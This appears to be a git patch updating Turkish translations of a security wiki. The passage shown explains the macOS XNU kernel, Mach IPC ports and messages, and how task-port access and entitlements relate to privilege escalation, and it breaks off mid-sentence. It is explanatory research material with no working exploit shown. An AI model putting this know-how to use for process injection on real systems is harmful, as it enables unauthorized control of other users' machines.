From 72048c668f69398cb2197a953f1c0cfc8e21543a Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 06:09:15 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- .../mac-os-architecture/README.md | 12 +- .../README.md | 28 +-- .../macos-kernel-extensions.md | 14 +- .../macos-kernel-vulnerabilities.md | 6 +- .../macos-system-extensions.md | 30 +-- .../README.md | 64 +++---- .../arm64-basic-assembly.md | 136 +++++++------- .../introduction-to-x64.md | 20 +- .../README.md | 30 +-- .../macos-bundles.md | 8 +- .../macos-installers-abuse.md | 26 +-- .../macos-memory-dumping.md | 2 +- .../macos-sensitive-locations.md | 16 +- .../universal-binaries-and-mach-o-format.md | 40 ++-- .../macos-proces-abuse/README.md | 52 +++--- .../macos-.net-applications-injection.md | 8 +- .../macos-chromium-injection.md | 2 +- .../macos-proces-abuse/macos-dirty-nib.md | 12 +- .../macos-electron-applications-injection.md | 24 +-- .../macos-function-hooking.md | 22 +-- .../README.md | 110 +++++------ .../macos-mig-mach-interface-generator.md | 18 +- .../macos-thread-injection-via-task-port.md | 20 +- .../macos-xpc/README.md | 30 +-- .../macos-xpc/macos-xpc-authorization.md | 30 +-- .../README.md | 2 +- .../macos-pid-reuse.md | 20 +- ...s-xpc_connection_get_audit_token-attack.md | 38 ++-- .../macos-java-apps-injection.md | 8 +- .../macos-library-injection/README.md | 66 +++---- ...yld-hijacking-and-dyld_insert_libraries.md | 6 +- .../macos-dyld-process.md | 36 ++-- .../macos-perl-applications-injection.md | 6 +- .../macos-security-protections/README.md | 24 +-- .../macos-amfi-applemobilefileintegrity.md | 26 +-- .../macos-authorizations-db-and-authd.md | 2 +- .../macos-code-signing.md | 20 +- .../macos-dangerous-entitlements.md | 8 +- .../macos-fs-tricks/README.md | 54 +++--- .../macos-xattr-acls-extra-stuff.md | 4 +- .../macos-gatekeeper.md | 76 ++++---- .../macos-launch-environment-constraints.md | 26 +-- ...macf-mandatory-access-control-framework.md | 26 +-- .../macos-sandbox/README.md | 48 ++--- .../macos-sandbox-debug-and-bypass/README.md | 28 +-- .../macos-office-sandbox-bypasses.md | 6 +- .../macos-security-protections/macos-sip.md | 54 +++--- .../macos-tcc/README.md | 52 +++--- .../macos-tcc/macos-apple-events.md | 6 +- .../macos-tcc/macos-tcc-bypasses/README.md | 80 ++++---- .../macos-tcc-bypasses/macos-apple-scripts.md | 6 +- .../macos-tcc/macos-tcc-payloads.md | 10 +- .../android-app-pentesting/README.md | 164 ++++++++--------- .../android-app-pentesting/adb-commands.md | 16 +- .../android-applications-basics.md | 72 ++++---- .../android-task-hijacking.md | 6 +- .../avd-android-virtual-device.md | 16 +- ...bypass-biometric-authentication-android.md | 14 +- .../content-protocol.md | 2 +- .../drozer-tutorial/README.md | 28 ++- .../exploiting-content-providers.md | 8 +- .../exploiting-a-debuggeable-applciation.md | 8 +- .../frida-tutorial/README.md | 6 +- .../frida-tutorial/frida-tutorial-1.md | 12 +- .../frida-tutorial/frida-tutorial-2.md | 10 +- .../frida-tutorial/objection-tutorial.md | 8 +- .../frida-tutorial/owaspuncrackable-1.md | 4 +- .../google-ctf-2018-shall-we-play-a-game.md | 14 +- .../install-burp-certificate.md | 30 +-- .../make-apk-accept-ca-certificate.md | 2 +- .../manual-deobfuscation.md | 10 +- .../react-native-application.md | 8 +- .../android-app-pentesting/smali-changes.md | 22 +-- .../spoofing-your-location-in-play-store.md | 8 +- .../android-app-pentesting/tapjacking.md | 16 +- .../android-app-pentesting/webview-attacks.md | 4 +- src/mobile-pentesting/android-checklist.md | 47 ++++- src/mobile-pentesting/cordova-apps.md | 4 +- .../ios-pentesting-checklist.md | 24 +-- .../ios-pentesting/README.md | 96 +++++----- .../basic-ios-testing-operations.md | 16 +- .../burp-configuration-for-ios.md | 18 +- ...-entitlements-from-compiled-application.md | 2 +- .../frida-configuration-in-ios.md | 30 +-- .../ios-pentesting/ios-app-extensions.md | 2 +- .../ios-pentesting/ios-basics.md | 34 ++-- ...m-uri-handlers-deeplinks-custom-schemes.md | 14 +- .../ios-hooking-with-objection.md | 4 +- .../ios-serialisation-and-encoding.md | 14 +- .../ios-pentesting/ios-testing-environment.md | 34 ++-- .../ios-pentesting/ios-uiactivity-sharing.md | 14 +- .../ios-pentesting/ios-uipasteboard.md | 4 +- .../ios-pentesting/ios-universal-links.md | 4 +- .../ios-pentesting/ios-webviews.md | 24 +-- src/mobile-pentesting/xamarin-apps.md | 16 +- ...0-network-data-management-protocol-ndmp.md | 2 +- .../1080-pentesting-socks.md | 2 +- .../1099-pentesting-java-rmi.md | 8 +- .../11211-memcache/README.md | 32 ++-- .../11211-memcache/memcache-commands.md | 46 ++--- .../113-pentesting-ident.md | 4 +- .../135-pentesting-msrpc.md | 12 +- .../137-138-139-pentesting-netbios.md | 4 +- .../1414-pentesting-ibmmq.md | 26 +-- .../README.md | 2 +- .../15672-pentesting-rabbitmq-management.md | 6 +- .../1723-pentesting-pptp.md | 2 +- .../1883-pentesting-mqtt-mosquitto.md | 10 +- .../2375-pentesting-docker.md | 34 ++-- ...-24008-24009-49152-pentesting-glusterfs.md | 8 +- .../27017-27018-mongodb.md | 12 +- .../3128-pentesting-squid.md | 12 +- .../3260-pentesting-iscsi.md | 14 +- .../3299-pentesting-saprouter.md | 8 +- .../3632-pentesting-distcc.md | 2 +- .../3690-pentesting-subversion-svn-server.md | 2 +- .../3702-udp-pentesting-ws-discovery.md | 4 +- .../43-pentesting-whois.md | 2 +- ...ntesting-erlang-port-mapper-daemon-epmd.md | 4 +- .../44134-pentesting-tiller-helm.md | 6 +- .../44818-ethernetip.md | 2 +- .../47808-udp-bacnet.md | 2 +- .../4786-cisco-smart-install.md | 4 +- .../4840-pentesting-opc-ua.md | 2 +- .../49-pentesting-tacacs+.md | 2 +- .../5000-pentesting-docker-registry.md | 14 +- .../512-pentesting-rexec.md | 2 +- .../5353-udp-multicast-dns-mdns.md | 4 +- .../5439-pentesting-redshift.md | 2 +- .../554-8554-pentesting-rtsp.md | 8 +- .../5555-android-debug-bridge.md | 6 +- .../5601-pentesting-kibana.md | 4 +- .../5671-5672-pentesting-amqp.md | 12 +- .../584-pentesting-afp.md | 2 +- .../5984-pentesting-couchdb.md | 44 ++--- .../5985-5986-pentesting-omi.md | 6 +- .../5985-5986-pentesting-winrm.md | 16 +- .../6000-pentesting-x11.md | 2 +- .../623-udp-ipmi.md | 16 +- .../6379-pentesting-redis.md | 34 ++-- .../69-udp-tftp.md | 4 +- .../700-pentesting-epp.md | 2 +- ...09-pentesting-apache-jserv-protocol-ajp.md | 2 +- .../8086-pentesting-influxdb.md | 2 +- .../8089-splunkd.md | 6 +- .../873-pentesting-rsync.md | 6 +- .../9000-pentesting-fastcgi.md | 2 +- .../9001-pentesting-hsqldb.md | 10 +- src/network-services-pentesting/9100-pjl.md | 4 +- .../9200-pentesting-elasticsearch.md | 18 +- src/network-services-pentesting/cassandra.md | 4 +- .../ipsec-ike-vpn-pentesting.md | 38 ++-- .../nfs-service-pentesting.md | 12 +- .../pentesting-264-check-point-firewall-1.md | 4 +- ...ting-631-internet-printing-protocol-ipp.md | 6 +- .../pentesting-dns.md | 14 +- .../pentesting-finger.md | 4 +- .../pentesting-ftp/README.md | 24 +-- .../ftp-bounce-download-2oftp-file.md | 4 +- .../pentesting-imap.md | 8 +- .../pentesting-irc.md | 2 +- ...entesting-jdwp-java-debug-wire-protocol.md | 4 +- .../pentesting-kerberos-88/README.md | 8 +- .../harvesting-tickets-from-windows.md | 4 +- .../pentesting-ldap.md | 34 ++-- .../pentesting-modbus.md | 2 +- .../README.md | 50 ++--- .../types-of-mssql-users.md | 4 +- .../pentesting-mysql.md | 10 +- .../pentesting-ntp.md | 10 +- .../pentesting-pop.md | 2 +- .../pentesting-postgresql.md | 72 ++++---- .../pentesting-rdp.md | 14 +- .../pentesting-remote-gdbserver.md | 4 +- .../pentesting-rpcbind.md | 12 +- .../pentesting-rsh.md | 4 +- .../pentesting-sap.md | 26 +-- .../pentesting-smb.md | 72 ++++---- .../pentesting-smb/README.md | 44 ++--- .../pentesting-smb/rpcclient-enumeration.md | 18 +- .../pentesting-smtp/README.md | 36 ++-- .../pentesting-smtp/smtp-commands.md | 4 +- .../pentesting-smtp/smtp-smuggling.md | 8 +- .../pentesting-snmp/README.md | 39 ++-- .../pentesting-snmp/snmp-rce.md | 10 +- .../pentesting-ssh.md | 28 +-- .../pentesting-telnet.md | 2 +- .../pentesting-vnc.md | 3 +- .../pentesting-voip/README.md | 68 +++---- .../basic-voip-protocols/README.md | 24 +-- .../sip-session-initiation-protocol.md | 28 +-- .../pentesting-web/403-and-401-bypasses.md | 10 +- .../pentesting-web/README.md | 173 ++++++++++++++---- .../aem-adobe-experience-cloud.md | 2 +- .../pentesting-web/angular.md | 52 +++--- .../pentesting-web/apache.md | 26 +-- .../pentesting-web/bolt-cms.md | 8 +- .../pentesting-web/cgi.md | 7 +- .../pentesting-web/code-review-tools.md | 22 +-- .../pentesting-web/django.md | 6 +- .../pentesting-web/dotnetnuke-dnn.md | 4 +- .../pentesting-web/drupal/README.md | 16 +- .../pentesting-web/drupal/drupal-rce.md | 20 +- .../electron-desktop-apps/README.md | 28 +-- ...solation-rce-via-electron-internal-code.md | 6 +- .../electron-contextisolation-rce-via-ipc.md | 6 +- ...n-contextisolation-rce-via-preload-code.md | 2 +- .../pentesting-web/flask.md | 6 +- .../pentesting-web/git.md | 2 +- .../pentesting-web/golang.md | 4 +- .../pentesting-web/grafana.md | 4 +- .../pentesting-web/graphql.md | 84 ++++----- .../iis-internet-information-services.md | 24 +-- .../pentesting-web/imagemagick-security.md | 6 +- .../pentesting-web/jira.md | 11 +- .../pentesting-web/joomla.md | 11 +- .../pentesting-web/laravel.md | 2 +- .../pentesting-web/moodle.md | 6 +- .../pentesting-web/nextjs.md | 52 +++--- .../pentesting-web/nginx.md | 14 +- .../pentesting-web/nodejs-express.md | 2 +- .../pentesting-web/php-tricks-esp/README.md | 44 ++--- ...object-creation-new-usd_get-a-usd_get-b.md | 8 +- .../README.md | 30 +-- .../disable_functions-bypass-dl-function.md | 16 +- ...than-3.3.0-php-greater-than-5.4-exploit.md | 4 +- ...e_functions-bypass-php-7.0-7.4-nix-only.md | 2 +- ...isable_functions-bypass-php-fpm-fastcgi.md | 22 +-- ...s-bypass-php-less-than-5.2.9-on-windows.md | 2 +- .../pentesting-web/put-method-webdav.md | 16 +- .../pentesting-web/rocket-chat.md | 3 +- .../pentesting-web/special-http-headers.md | 16 +- .../pentesting-web/spring-actuators.md | 8 +- .../pentesting-web/tomcat/README.md | 18 +- .../pentesting-web/uncovering-cloudflare.md | 18 +- .../pentesting-web/web-api-pentesting.md | 10 +- .../pentesting-web/werkzeug.md | 17 +- .../pentesting-web/wordpress.md | 38 ++-- src/pentesting-web/2fa-bypass.md | 38 ++-- .../abusing-hop-by-hop-headers.md | 6 +- src/pentesting-web/account-takeover.md | 20 +- src/pentesting-web/bypass-payment-process.md | 8 +- src/pentesting-web/captcha-bypass.md | 2 +- src/pentesting-web/clickjacking.md | 16 +- .../client-side-path-traversal.md | 6 +- .../client-side-template-injection-csti.md | 5 +- src/pentesting-web/command-injection.md | 6 +- src/pentesting-web/cors-bypass.md | 88 ++++----- src/pentesting-web/crlf-0d-0a.md | 30 +-- .../csrf-cross-site-request-forgery.md | 42 ++--- src/pentesting-web/dependency-confusion.md | 18 +- .../domain-subdomain-takeover.md | 14 +- src/pentesting-web/email-injections.md | 26 +-- ...ula-csv-doc-latex-ghostscript-injection.md | 28 +-- src/pentesting-web/grpc-web-pentest.md | 4 +- src/pentesting-web/h2c-smuggling.md | 24 +-- .../http-connection-contamination.md | 6 +- 257 files changed, 2542 insertions(+), 2388 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index ab0ad64ae..608887f94 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -4,9 +4,9 @@ ## XNU Kernel -**macOS'in temeli XNU'dur**, bu "X is Not Unix" anlamına gelir. Bu çekirdek esasen **Mach mikro çekirdeği** (daha sonra tartışılacak) ve **Berkeley Software Distribution** (**BSD**) unsurlarından oluşmaktadır. XNU ayrıca **I/O Kit adı verilen bir sistem aracılığıyla çekirdek sürücüleri için bir platform sağlar**. XNU çekirdeği, **kaynak kodu serbestçe erişilebilir** olan Darwin açık kaynak projesinin bir parçasıdır. +**macOS'in temeli XNU'dur**, bu "X is Not Unix" anlamına gelir. Bu çekirdek esasen **Mach mikro çekirdeği** (daha sonra tartışılacak) ve **Berkeley Yazılım Dağıtımı** (**BSD**) unsurlarından oluşur. XNU ayrıca **I/O Kit adlı bir sistem aracılığıyla çekirdek sürücüleri için bir platform sağlar**. XNU çekirdeği, **kaynak kodu serbestçe erişilebilir** olan Darwin açık kaynak projesinin bir parçasıdır. -Bir güvenlik araştırmacısı veya Unix geliştiricisi perspektifinden, **macOS** oldukça **benzer** bir **FreeBSD** sistemi gibi görünebilir; şık bir GUI ve birçok özel uygulama ile. BSD için geliştirilen çoğu uygulama, Unix kullanıcılarına aşina olan komut satırı araçlarının tamamı macOS'ta mevcut olduğundan, macOS'ta derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar vardır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir. +Bir güvenlik araştırmacısı veya Unix geliştiricisi perspektifinden, **macOS** oldukça **benzer** bir **FreeBSD** sistemi gibi görünebilir; şık bir GUI ve birçok özel uygulama ile. BSD için geliştirilen çoğu uygulama, Unix kullanıcılarına aşina olan komut satırı araçları macOS'ta mevcut olduğundan, macOS'ta değişiklik yapmadan derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar vardır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir. XNU'nun açık kaynak versiyonu: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) @@ -14,11 +14,11 @@ XNU'nun açık kaynak versiyonu: [https://opensource.apple.com/source/xnu/](http Mach, **UNIX uyumlu** olacak şekilde tasarlanmış bir **mikro çekirdek**'tir. Ana tasarım ilkelerinden biri, **çekirdek** alanında çalışan **kod** miktarını **minimize** etmek ve bunun yerine dosya sistemi, ağ ve I/O gibi birçok tipik çekirdek işlevinin **kullanıcı düzeyinde görevler olarak çalışmasına** izin vermekti. -XNU'da, Mach, bir çekirdeğin genellikle ele aldığı birçok kritik düşük seviyeli işlemin **sorumlusudur**, örneğin işlemci zamanlaması, çoklu görev ve sanal bellek yönetimi. +XNU'da, Mach genellikle bir çekirdeğin ele aldığı kritik düşük seviyeli işlemlerden birçoklarından **sorumludur**, örneğin işlemci zamanlaması, çoklu görev ve sanal bellek yönetimi. ### BSD -XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilmiş önemli miktarda kodu **içermektedir**. Bu kod, Mach ile birlikte çekirdek parçası olarak **aynı adres alanında çalışır**. Ancak, XNU içindeki FreeBSD kodu, Mach ile uyumluluğunu sağlamak için gerekli değişiklikler yapıldığından, orijinal FreeBSD kodundan önemli ölçüde farklı olabilir. FreeBSD, aşağıdakiler dahil birçok çekirdek işlemi için katkıda bulunur: +XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilmiş önemli miktarda kodu **içerir**. Bu kod, Mach ile birlikte çekirdek parçası olarak **aynı adres alanında çalışır**. Ancak, XNU içindeki FreeBSD kodu, Mach ile uyumluluğunu sağlamak için gerekli değişiklikler yapıldığından, orijinal FreeBSD kodundan önemli ölçüde farklı olabilir. FreeBSD, aşağıdakiler dahil birçok çekirdek işlemi için katkıda bulunur: - Süreç yönetimi - Sinyal işleme @@ -29,7 +29,7 @@ XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilmiş önemli miktard BSD ve Mach arasındaki etkileşimi anlamak karmaşık olabilir, çünkü farklı kavramsal çerçevelere sahiptirler. Örneğin, BSD, temel yürütme birimi olarak süreçleri kullanırken, Mach, iş parçacıkları temelinde çalışır. Bu tutarsızlık, XNU'da **her BSD sürecini tam olarak bir Mach iş parçacığı içeren bir Mach görevi ile ilişkilendirerek** uzlaştırılır. BSD'nin fork() sistem çağrısı kullanıldığında, çekirdek içindeki BSD kodu, bir görev ve bir iş parçacığı yapısı oluşturmak için Mach işlevlerini kullanır. -Ayrıca, **Mach ve BSD her biri farklı güvenlik modelleri** sürdürmektedir: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **süreç sahipliğine** dayanır. Bu iki model arasındaki farklılıklar zaman zaman yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarının yanı sıra, **kullanıcı alanı programlarının çekirdek ile etkileşimde bulunmasına izin veren Mach tuzakları** da vardır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, hibrit mimarisini oluşturur. +Ayrıca, **Mach ve BSD her biri farklı güvenlik modelleri** sürdürmektedir: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **süreç sahipliği** temelinde çalışır. Bu iki model arasındaki farklılıklar zaman zaman yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarının yanı sıra, **kullanıcı alanı programlarının çekirdek ile etkileşimde bulunmasına izin veren Mach tuzakları** da vardır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, hibrit mimarisini oluşturur. ### I/O Kit - Sürücüler @@ -57,7 +57,7 @@ macos-kernel-extensions.md ### macOS System Extensions -macOS, Çekirdek Uzantılarını kullanmak yerine, çekirdek ile etkileşimde bulunmak için kullanıcı düzeyinde API'ler sunan Sistem Uzantılarını oluşturmuştur. Bu şekilde, geliştiriciler çekirdek uzantılarını kullanmaktan kaçınabilirler. +macOS, çekirdek ile etkileşimde bulunmak için kullanıcı düzeyinde API'ler sunan Sistem Uzantılarını oluşturmuştur. Bu şekilde, geliştiriciler çekirdek uzantılarını kullanmaktan kaçınabilirler. {{#ref}} macos-system-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 12e7ba137..5e4e24770 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -26,7 +26,7 @@ Bir görevin gerçekleştirebileceği işlemleri tanımlayan port hakları, bu i - **Port set hakkı**, tek bir port yerine bir _port setini_ belirtir. Bir port setinden bir mesajın çıkarılması, içerdiği portlardan birinden bir mesajın çıkarılması anlamına gelir. Port setleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birden fazla portta aynı anda dinlemek için kullanılabilir. - **Ölü ad**, gerçek bir port hakkı değildir, sadece bir yer tutucudur. Bir port yok edildiğinde, port üzerindeki tüm mevcut port hakları ölü adlara dönüşür. -**Görevler, diğerlerine GÖNDERME haklarını aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDERME hakları da kopyalanabilir, böylece bir görev, hakkı çoğaltabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar. +**Görevler, diğerlerine GÖNDERME haklarını aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDERME hakları da kopyalanabilir, böylece bir görev, hakkı kopyalayabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar. ### Dosya Portları @@ -45,15 +45,15 @@ Dosya portları, Mac portlarında dosya tanımlayıcılarını kapsüllemeye ola 5. GÖNDERME hakkını aldıktan sonra, Görev **B**, bir **mesaj** oluşturma ve bunu **Görev A'ya** gönderme yeteneğine sahiptir. 6. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim). -Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia edebilir** ve ardından her isteği onaylayabilir. +Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia ederek** her isteği onaylayabilir. -Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP-korunan** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adıyla birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adlarının her biri için bir **ALMA hakkı** oluşturacak ve tutacaktır. +Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP-korunan** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adıyla birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adlarının her biri için bir **ALMA hakkı oluşturur ve tutar**. Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şu şekildedir: - Görev **B**, bir hizmet adı için bootstrap **arama** başlatır. - **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**. -- Görev **A** (hizmet), bir **bootstrap kontrolü** gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDERME hakkı oluşturur, bunu saklar ve **ALMA hakkını Görev A'ya aktarır**. +- Görev **A** (hizmet), bir **bootstrap check-in** gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDERME hakkı oluşturur, bunu saklar ve **ALMA hakkını Görev A'ya aktarır**. - launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye gönderir**. - Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** (hizmet) verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim). @@ -74,9 +74,9 @@ mach_port_name_t msgh_voucher_port; mach_msg_id_t msgh_id; } mach_msg_header_t; ``` -İşlemler, bir _**alma hakkı**_ bulunduruyorsa, bir Mach portu üzerinde mesaj alabilirler. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkı**_ alırlar. Bir kez gönderme hakkı, yalnızca tek bir mesaj göndermek için geçerlidir, ardından geçersiz hale gelir. +İşlemler _**alma hakkı**_ bulunan bir Mach portu üzerinden mesaj alabilir. Tersine, **gönderenler** _**gönderme**_ veya _**bir kez gönderme hakkı**_ ile yetkilendirilir. Bir kez gönderme hakkı, yalnızca tek bir mesaj göndermek için geçerlidir, ardından geçersiz hale gelir. -Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, mesajın **yanıt portu** olarak adlandırılan **mach portunu** mach **mesaj başlığında** belirtebilir (**`msgh_local_port`**) ve mesajın **alıcı**sı bu mesaja **bir yanıt gönderebilir**. **`msgh_bits`** içindeki bit bayrakları, bu port için bir **bir kez gönderme** **hakkı** türetilmesi ve aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, mesajın **yanıt portu** olarak adlandırılan mach **mesaj başlığında** bir **mach portu** belirtebilir (**`msgh_local_port`**) ve mesajın **alıcı**sı bu mesaja **bir yanıt gönderebilir**. **`msgh_bits`** içindeki bit bayrakları, bu port için bir **bir kez gönderme** **hakkı** türetilip aktarılacağını **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] > Bu tür bir iki yönlü iletişimin, bir yanıt bekleyen XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak **genellikle farklı portlar oluşturulur**; daha önce açıklandığı gibi iki yönlü iletişim oluşturmak için. @@ -89,7 +89,7 @@ Mesaj başlığının diğer alanları şunlardır: - `msgh_id`: bu mesajın alıcı tarafından yorumlanan kimliği. > [!CAUTION] -> **mach mesajlarının bir \_mach portu** üzerinden gönderildiğini unutmayın, bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla işlem**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir işlem okuyabilir**. +> **Mach mesajlarının \_mach portu** üzerinden gönderildiğini unutmayın, bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla işlem**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir işlem okuyabilir**. ### Portları Sayma ```bash @@ -228,15 +228,15 @@ printf("Sent a message\n"); ### Ayrıcalıklı Portlar - **Host port**: Eğer bir süreç bu port üzerinde **Send** ayrıcalığına sahipse, **sistem** hakkında **bilgi** alabilir (örneğin, `host_processor_info`). -- **Host priv port**: Bu port üzerinde **Send** hakkına sahip bir süreç, bir çekirdek uzantısını yüklemek gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izni almak için **süper kullanıcı** olması gerekir. +- **Host priv port**: Bu port üzerinde **Send** hakkına sahip bir süreç, bir çekirdek uzantısını yüklemek gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izni alabilmek için **süper kullanıcı** olması gerekir. - Ayrıca, **`kext_request`** API'sini çağırmak için yalnızca Apple ikili dosyalarına verilen diğer yetkilere **`com.apple.private.kext*`** sahip olmak gereklidir. - **Task name port:** _task port_'un ayrıcalıksız bir versiyonudur. Görevi referans alır, ancak onu kontrol etmeye izin vermez. Bunun üzerinden erişilebilen tek şey `task_info()` gibi görünmektedir. -- **Task port** (diğer adıyla kernel port)**:** Bu port üzerinde Send izni ile görevi kontrol etmek mümkündür (belleği okuma/yazma, iş parçacıkları oluşturma...). -- Çağrıcı görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **devralınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` sonrası bir suid ikili dosyasında da yeni bir görev portu alır). Bir görevi başlatmanın ve portunu almanın tek yolu, `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir. +- **Task port** (diğer adıyla kernel port)**:** Bu port üzerinde Send izni ile görevi kontrol etmek (belleği okuma/yazma, iş parçacıkları oluşturma...) mümkündür. +- Çağrıcı görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` sonrası bir suid ikili dosyasında yeni bir görev portu da alır). Bir görevi başlatmanın ve portunu almanın tek yolu, `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir. - Port erişimi için kısıtlamalar (ikili dosya `AppleMobileFileIntegrity`'den `macos_task_policy`): - Uygulama **`com.apple.security.get-task-allow` yetkisine** sahipse, **aynı kullanıcıdan** gelen süreçler görev portuna erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez. -- **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, çekirdek hariç, **herhangi bir** sürecin görev portunu alabilir. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir. -- **Root,** **hardened** çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayan). +- **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, çekirdek hariç, **herhangi bir** sürecin **görev portunu** alabilir. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir. +- **Root,** **hardened** çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayanlar). ### Görev portu aracılığıyla iş parçacığında Shellcode Enjeksiyonu @@ -802,9 +802,9 @@ Bu teknikte bir sürecin thread'i ele geçirilir: ### Temel Bilgiler -XPC, macOS tarafından kullanılan çekirdek olan XNU'nun (XNU) süreçler arası iletişim için bir çerçevedir. XPC, sistemdeki farklı süreçler arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sağlar. Bu, her bir **bileşenin** işini yapmak için **sadece ihtiyaç duyduğu izinlerle** çalıştığı **ayrılmış ayrıcalıklarla uygulamalar** oluşturulmasına olanak tanıyan Apple'ın güvenlik paradigmasının bir parçasıdır ve böylece tehlikeye atılmış bir süreçten 